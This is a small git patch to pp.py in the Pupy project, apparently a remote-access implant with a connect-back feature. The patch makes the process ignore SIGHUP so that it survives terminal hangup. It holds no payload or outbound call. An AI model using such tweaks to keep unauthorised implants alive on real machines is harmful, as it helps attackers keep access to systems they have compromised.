From 5596b291bdfe698249d8780ee8ade580a9df9989 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk <alxchk@gmail.com>
Date: Thu, 18 May 2017 20:55:04 +0300
Subject: [PATCH] If signal module SIGHUP - let's ignore it

What can go wrong, huh?
---
 pupy/pp.py | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/pupy/pp.py b/pupy/pp.py
index d1fb35a8..a00d0304 100755
--- a/pupy/pp.py
+++ b/pupy/pp.py
@@ -64,6 +64,7 @@ import logging
 import shlex
 import marshal
 import zlib
+import signal
 
 try:
     # additional imports needed to package with pyinstaller
@@ -285,6 +286,9 @@ def set_connect_back_host(HOST):
 def handle_sigchld(*args, **kwargs):
     os.waitpid(-1, os.WNOHANG)
 
+def handle_sighup(*args):
+    pass
+
 attempt = 0
 
 def main():
@@ -293,6 +297,9 @@ def main():
     global debug
     global attempt
 
+    if hasattr(signal, 'SIGHUP'):
+        signal.signal(signal.SIGHUP, handle_sighup)
+
     if len(sys.argv) > 1:
         parser = argparse.ArgumentParser(
             prog='pp.py',